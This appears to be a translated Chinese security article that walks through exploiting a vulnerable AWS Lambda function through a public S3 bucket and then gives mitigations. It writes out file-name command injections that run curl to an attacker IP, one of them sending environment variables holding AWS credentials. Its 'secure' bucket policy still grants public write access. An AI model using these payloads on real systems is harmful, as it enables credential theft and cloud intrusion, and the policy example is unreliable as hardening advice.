在本文中,我們將從黑盒測試和白盒測試的角度為大家解釋一個真實的攻擊場景:攻擊者是如何使用易受攻擊的AWS Lambda函數獲得對雲環境的初始訪問權限的。最後,我們將為大家介紹針對這種攻擊手法的最佳防禦實踐。
眼下,無服務器技術正在成為業務應用程序的主流,有了它,用戶無需管理底層基礎設施即可實現可擴展性、性能和成本效益。並且,這些工作負載可以輕鬆擴展到每秒數千個並發請求。實際上,雲環境中使用最多的無服務器服務之一,就是AWS Lambda服務。
在考察應用程序的時候,一個基本要素就是安全性。比如,代碼中的錯誤或缺乏用戶輸入驗證不僅可能會導致功能受損,而且還可能導致雲帳戶被入侵。
關於AWS Lambda函數AWS Lambda是一種事件驅動的無服務器計算服務,允許運行用不同編程語言編寫的代碼,從而實現基於雲環境的自動化操作。
這種方法的主要優勢之一是,Lambda是在由AWS直接管理的高可用計算基礎結構中運行我們的代碼的。也就是說,與底層基礎設施相關的所有管理活動,包括服務器和操作系統維護、自動伸縮、修補和日誌記錄等,都是由雲供應商替我們完成的。
用戶只需在這些服務上運行實現自己所需功能的代碼就可以了。
安全共擔之痛對於雲環境的安全來說,雖然本質上是由雲供應商來管理的,但仍然允許用戶進行相應的配置,所以,安全問題和風險實際上與參與雙方共擔的。
由於用戶無法控制特定Lambda函數背後的基礎設施,因此,底層基礎設施的安全風險實際上是由雲供應商直接管理的。
通過AWS IAM,用戶可以限制lambda函數及其組件的訪問權限和允許的操作。如果對IAM角色或Lambda函數使用的對象的權限配置出錯,可能會造成嚴重的後果,導致雲環境被攻擊者拿下。更重要的是,在Lambda函數中實現的代碼是由用戶控制的,正如我們在後門所看到的,如果代碼中存在安全漏洞,該函數則可能被攻擊者用來訪問云賬戶並進行橫向移動。
攻擊場景我們將使用兩種不同的測試方法來考察兩個攻擊場景:黑盒測試和白盒測試,這是滲透測試中用來評估特定基礎設施、應用程序或功能的安全態勢的兩種主要測試方法。
從不同的角度來看Lambda函數將有助於更深入、更全面地了解我們函數的安全態勢,並幫助我們更好地理解可能的攻擊和相關風險。
黑盒測試與白盒測試進行黑盒測試時,攻擊方並不具備環境本身和軟件系統內部原理的任何信息。在這種測試方法中,攻擊者需要對特定功能的邏輯背後可能隱藏的內容做出假設,並不斷測試這些假設,以找到切入點。對於我們的場景,攻擊者既沒有云環境的任何訪問權限,也沒有任何關於雲環境或帳戶中可用的功能和角色的內部信息。
在白盒測試中,由於攻擊者已經獲得了內部信息,因此,他們可以在攻擊過程中利用這些信息。在進行這種測試時,我們假設攻擊者擁有查找可能的漏洞和安全問題所需的所有信息。
因此,白盒測試被認為是最全面的測試方式。在我們的場景中,攻擊者在雲環境中具有隻讀的初始訪問權限,他們可以使用這些信息來評估已經部署的東西,以更好地鎖定攻擊目標。
#1黑盒測試場景
在這個攻擊場景中,攻擊者發現一個S3桶因為配置有誤而向公眾開放,其中含有公司的各種文件。
攻擊者能夠將文件上傳到存儲桶中,並在上傳後檢查文件配置。儘管攻擊者對Lambda中實現的代碼一無所知,但仍可以通過Lambda函數來獲得每個上傳文件的標籤。
我們可以使用AWS CLI來列出prod-file-bucket-eu這個桶內的所有對象。
awss3lsprod-file-bucket-eu
我們通過上傳文件獲得信息的一種方式就是檢查標籤,看看是否可以找到一些有用的信息。使用get-object-tagging,我們可以看到分配給該文件的標籤如下所示:
awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip
這些標籤肯定是自定義的,並在將文件上傳到存儲桶時動態添加。據推測,應該存在一種函數,用於添加與文件大小和路徑相關的標籤。
使用curl或awscli,我們可以嘗試上傳一個zip文件,看看標籤是否會自動添加到我們的文件中。
awss3cpconfig.zips3://prod-file-bucket-eu/
curl-XPUT-Tconfig.zip\
-H'Host:prod-file-bucket-eu.s3.amazonaws.com'\
-H'Date:Thu,02Dec202115:47:04+0100'\
-H'Content-Type:${contentType}'\
http://prod-file-bucket-eu.s3.amazonaws.com/config.zip一旦文件上傳,我們可以檢查文件標籤,結果表明標籤已經自動添加。
awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip
所以,我們可以非常確定的一點是:這些值背後存在一個AWS Lambda函數。當一個新對像在存儲桶中創建時,該函數似乎就會被觸發。當然,Path和Size這兩個標籤,似乎是為每個文件動態計算的,可能是通過執行OS命令檢索到的信息。
我們可以假設文件名用於在操作系統中查找文件,併計算文件大小。換句話說,文件名可能是用戶輸入,在OS命令中使用它來檢索要放入標籤中的信息。如果缺少用戶輸入驗證,攻擊者就可以通過向計算機提交精心構造的輸入來執行任意命令。
在這種情況下,我們可以嘗試在文件名中註入其他命令來實現遠程代碼執行。使用分號連接命令是將任意命令附加到用戶輸入中的一種常見方法,這樣,如果用戶輸入沒有得到很好的過濾,代碼就可能會執行這些命令。
讓我們嘗試追加命令curl來打開與另一個EC2的連接,為此,我們可以使用POST方法發送測試消息“testrceCurl”。
awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'testRCECurl'3.80.92.111:443;'從下面的屏幕中,我們可以看到命令已正確執行,並且我們收到了連接和POST消息。
通過這種方式,我們證明了用戶輸入根本沒有經過驗證,因此,我們可以在AWS Lambda OS上成功地執行任意命令。我們可以利用這個安全漏洞直接訪問云環境。
提取AWS憑據的方法之一,就是通過env變量。在這方面,我們已經證明,我們可以回連攻擊者的機器,並將env變量的內容髮送到POST消息中,以從中提取信息。
awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'`env`'3.80.92.111:443;zip'
使用curl命令,我們成功地獲取了雲憑據,並且可以使用這些憑據登錄到雲帳戶。這樣,我們就可以導入AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN,從get-caller-identity輸出中可以看到,我們登錄成功了。
awsstsget-caller-identity
{
'UserId':'AROA2PVZZYWS7MCERGTMS:corpFuncEasy',
'Account':'AccountID',
'Arn':'arn:aws:sts:AccountID:assumed-role/corpFuncEasy/corpFuncEasy'
}一旦進入,攻擊者就可以啟動枚舉過程來評估獲得的特權,並查看是否存在進一步提升雲帳戶特權的路徑。
#1白盒測試場景
下面,讓我們對前面提出的相同攻擊場景——攻擊者發現了配置錯誤的S3存儲桶——進行白盒測試。在這種情況下,攻擊者可以通過網絡釣魚竊取憑據來訪問云環境,而受攻擊的用戶帳戶權限為:只讀權限。
由於具有隻讀訪問權限,攻擊者可以合併從lambda函數中實現的代碼中獲得的信息,以更好地發動針對性攻擊。
讓我們從檢查獲得的憑據是否對登錄雲帳戶有效開始入手。
awsstsget-caller-identity
{
'UserId':'AIDA2PVZZYWS3MXZKDH66',
'Account':'AccountID',
'Arn':'arn:aws:iam:AccountID:user/operator'
}
一旦登錄,我們就可以開始評估相關用戶或組的特權。在本例中,我們可以看到這裡附加了以下策略。
awsiamlist-attached-user-policies--user-nameoperator
我們只有隻讀權限,所以,接下來可以收集已經部署到賬戶中的信息,特別是關注配置錯誤的S3桶。
就像我們在黑盒測試場景中看到的那樣,我們可以合理地假設,發現的開放型存儲桶有一個lambda函數。因此,如果找到有關lambda函數的額外信息,將有助於更好地發動攻擊。
通過命令list-functions,我們可以看到賬戶中可用的lambda函數。就這裡來說,我們找到了corpFuncEasy函數及其相關信息,特別是該函數所使用的角色。
awslambdalist-functions
通過get-function,我們可以深入研究之前找到的lambda函數。在這裡,我們可以找到一些基本的信息,如下載函數代碼的鏈接。
wslambdaget-function--function-namecorpFuncEasy
{
'Configuration':{
'FunctionName':'corpFuncEasy',
'FunctionArn':'arn:aws:lambda:us-east-1:AccountID:function:corpFuncEasy',
.
},
'Code':{
'RepositoryType':'S3',
'Location':'https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/AccountID/corpFuncEasy-9c1924b0-501a-.'
},
'Tags':{
'lambda-console:blueprint':'s3-get-object-python'
}
}通過檢查代碼,我們可以更好地評估函數的安全性,並查看是否應用了安全最佳實踐。
在這段代碼中,我們可以看到上傳的文件被放入/tmp/folder中,文件路徑直接用於subprocess命令並執行。
我們看到,這裡並沒有對文件名應用任何輸入驗證,也就談不上安全過濾了。現在,我們更清楚前面提到的攻擊為什麼能成功了。
在這裡,使用的文件名為“screen.zip;curl -X POST -d “testRCECurl” 3.80.92.111:443”,相應的subprocess命令如下所示:
'stat-c%sscreen.zip;curl-XPOST-d'testRCECurl'3.80.92.111:443'正如我們所看到的,使用分號字符,我們可以在stat命令後面追加其他要執行的命令。正如我們前面提到的,執行curl命令後,字符串將發送到攻擊系統的443端口。
如何防禦這種攻擊我們已經從黑盒測試和白盒測試的角度考察了相應的攻擊場景,但是我們如何進行防禦呢?在考察的場景中,我們涵蓋了不同的AWS組件,如S3桶和AWS lambda函數,但是某些安全因素被忽略了。
為了成功地緩解這種情況,我們可以在不同的級別和不同的特性上採取行動。特別是,我們可以:
1、 禁用S3桶的公共訪問權限,這樣它就只能從內部訪問,並且只能被通過了雲賬戶認證的用戶訪問。
2、 檢查lambda函數中使用的代碼,以確保裡面沒有任何安全漏洞,所有的用戶輸入都按照安全編寫代碼的安全準則進行了正確處理。
3、 在應用於雲特性的所有AWS IAM角色中應用最小特權原則,以避免不必要的操作或在帳戶內出現特權提昇路徑。
下面,讓我們來看看上面提到的所有要點,詳細了解應該如何部署這些緩解措施。
禁用S3桶的公共訪問權限S3桶是AWS中用作存儲的關鍵組件之一;S3桶經常被那些入侵雲賬戶的攻擊者所利用。
盡可能地保持S3桶的安全,應用所有可用的安全設置,避免對我們的數據或文件進行不必要的訪問,這一點至關重要。
就本例來說,存儲桶是公開的,所有未經授權的用戶都能夠對它進行讀取和寫入操作。為了避免這種情況,我們需要確保桶是可用的,私下里應用以下安全設置來限制訪問。
此外,通過對存儲桶施加ACL,可以定義允許對它執行哪些操作,以及可以訪問桶中的哪些對象;對於其他的操作和對象,則一律拒絕。
{
'Version':'2012-10-17',
'Statement':[
{
'Sid':'PublicReadGetObject',
'Effect':'Allow',
'Principal':'*',
'Action':[
's3:GetObject',
's3:PutObject'
],
'Resource':'arn:aws:s3:3bucket********/www/html/word/*'
},
{
'Sid':'PublicReadListObject',
'Effect':'Allow',
'Principal':'*',
'Action':'s3:List*',
'Resource':'arn:aws:s3:s3bucket********/*'
}
]
}審查lambda函數內部使用的代碼與任何其他Web應用程序一樣,保證代碼是按照安全最佳實踐來實現的,是避免安全問題的根本所在。當然,Lambda函數中的代碼也不例外,我們需要確保代碼是安全的、無懈可擊的。
就本案例來說,請看下面的代碼片段:
file_count_KB=subprocess.check_output(
'stat-c%s'+file_download_path,
shell=True,
stderr=subprocess.STDOUT
).decode().rstrip()其中,變量file_download_path保存有完整的文件路徑,包括文件名。該路徑直接連接到命令行以執行命令。但是,文件名是由用戶決定和控制的,因此,在將路徑附加到命令中之前,我們需要根據允許的字符進行適當的用戶輸入驗證和過濾。
為了進行正確、有效的驗證,我們需要清楚地知道哪些字符是允許的,哪些字符將包含在字符串中,並應用輸入驗證的最佳實踐。
借助於正則表達式,我們可以只允許特定文件路徑中出現的字符,並在攻擊者試圖提交不良字符時阻止其執行。在下面的例子中,我們可以看到一個用正則表達式來驗證linux文件路徑的例子。
pattern='^\/$|(\/[a-zA-Z_0-9-]+)+$'
ifre.match(pattern,file_download_path):
file_count_KB=subprocess.check_output(
'stat-c%s'+file_download_path,
shell=True,
stderr=subprocess.STDOUT
).decode().rstrip()需要說明的是,這個正則表達式是針對我們要驗證的字段或輸入的。 OWASP提供了很好的最佳實踐指南,當您需要處理任何類型的用戶輸入時,請遵循該指南。
在AWS IAM角色中應用最小特權原則藉助於AWS身份和訪問管理(IAM),我們可以安全地管理對AWS服務和資源的訪問。正如我們在第一節中所說,用戶負責管理身份和訪問管理層,並使用權限來控制對AWS資源的訪問。
由於雲環境中可用權限的粒度較細,所以,我們建議遵循最小特權原則,精確地賦予用戶執行其操作所需的權限。如果為用戶賦予了過大的權限,攻擊者可能利用這一點實現權限提升。
在黑盒測試場景中,攻擊者能夠使用與lambda函數關聯的AWS角色登錄帳戶。
攻擊者可能會繼續攻擊並提升自己在AWS內部的權限,因為可能存在特權配置錯誤。通過對分配給lambda函數的角色授予所需的最低權限,我們可以攻擊者提權路徑最小化,以確保即使遭到入侵,也不會危及整個雲環境。
當然,要想清楚地了解每個組、用戶或資源附加了哪些政策和角色,也並不是那麼容易。不過,我們可以藉助於持續監視雲中異常活動的安全工具,來生成安全事件。在AWS中,通過使用正確的工具,我們可以從CloudTrail事件和其他來源收集事件,以輕鬆地評估和加固雲環境的安全性。
小結雖然AWS Lambda函數在可擴展性和性能方面具有很大的優勢,但是,如果不以最佳實踐方式對安全進行全方位的管理,這些無服務器函數可能會被攻擊者濫用,成為入侵AWS賬戶的利器。
在Lambda代碼中施加適當的輸入驗證,在函數觸發器中應用安全最佳實踐,對於防禦攻擊者的入侵活動是至關重要的。正如在雲環境中經常發生的那樣,確保在IAM權限方面應用最小權限的原則,可以有效防禦提權攻擊。
Recommended Comments